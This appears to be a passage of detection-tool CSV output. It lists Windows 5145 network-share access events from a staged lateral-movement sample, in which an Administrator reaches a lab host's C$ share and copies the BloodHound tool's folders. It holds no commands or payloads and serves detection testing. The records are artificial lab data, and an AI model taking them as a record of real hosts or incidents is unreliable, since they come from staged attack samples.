Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\codepage\dist : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.357 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\colors : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.357 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\colors\themes : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.367 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\commander : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.367 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\commander\typings : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.367 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\concat-map : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.367 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\concat-map\example : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.377 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\concat-map\test : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.377 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\concat-stream : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.377 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\conf : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.377 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.387 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js\build : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.387 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js\client : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.387 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js\core : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.387 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js\es5 : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.397 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js\es6 : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.397 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js\es7 : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.397 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js\fn : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.407 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js\fn\array : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.407 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js\fn\date : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.407 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js\fn\dom-collections : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.407 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js\fn\error : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.418 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js\fn\function : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.418 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js\fn\json : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.418 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js\fn\map : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.418 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js\fn\math : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.428 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js\fn\number : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.428 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js\fn\object : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.428 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js\fn\promise : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.438 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js\fn\reflect : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.438 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js\fn\regexp : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.438 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js\fn\set : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.448 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js\fn\string : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.448 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js\fn\symbol : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.448 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js\fn\system : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.458 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js\fn\typed : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.458 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js\fn\weak-map : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.458 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js\fn\weak-set : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.458 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js\library : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.468 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js\library\core : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.468 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js\library\es5 : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.468 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js\library\es6 : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.478 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js\library\es7 : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.478 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js\library\fn : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.478 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js\library\modules : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.518 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js\library\stage : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.518 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js\library\web : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.518 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js\modules : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.558 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js\modules\library : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.558 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js\stage : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.558 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js\web : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.558 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-util-is : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.568 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-util-is\lib : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.568 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\crc-32 : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.568 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\crc-32\bin : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.578 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\crc-32\types : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.578 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\dagre : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.578 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\dagre\dist : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.588 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\dagre\lib : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.588 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\dagre\lib\data : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.588 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\dagre\lib\order : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.588 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\dagre\lib\position : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.598 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: 